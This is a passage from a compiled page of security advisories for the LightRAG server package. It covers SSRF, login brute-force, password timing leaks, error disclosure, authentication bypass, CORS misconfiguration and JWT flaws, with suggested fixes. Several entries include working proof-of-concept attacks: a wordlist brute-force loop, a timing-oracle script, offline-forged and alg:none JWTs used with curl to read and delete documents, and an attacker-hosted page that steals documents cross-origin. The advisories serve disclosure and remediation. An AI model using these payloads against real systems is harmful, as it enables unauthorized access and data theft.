A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

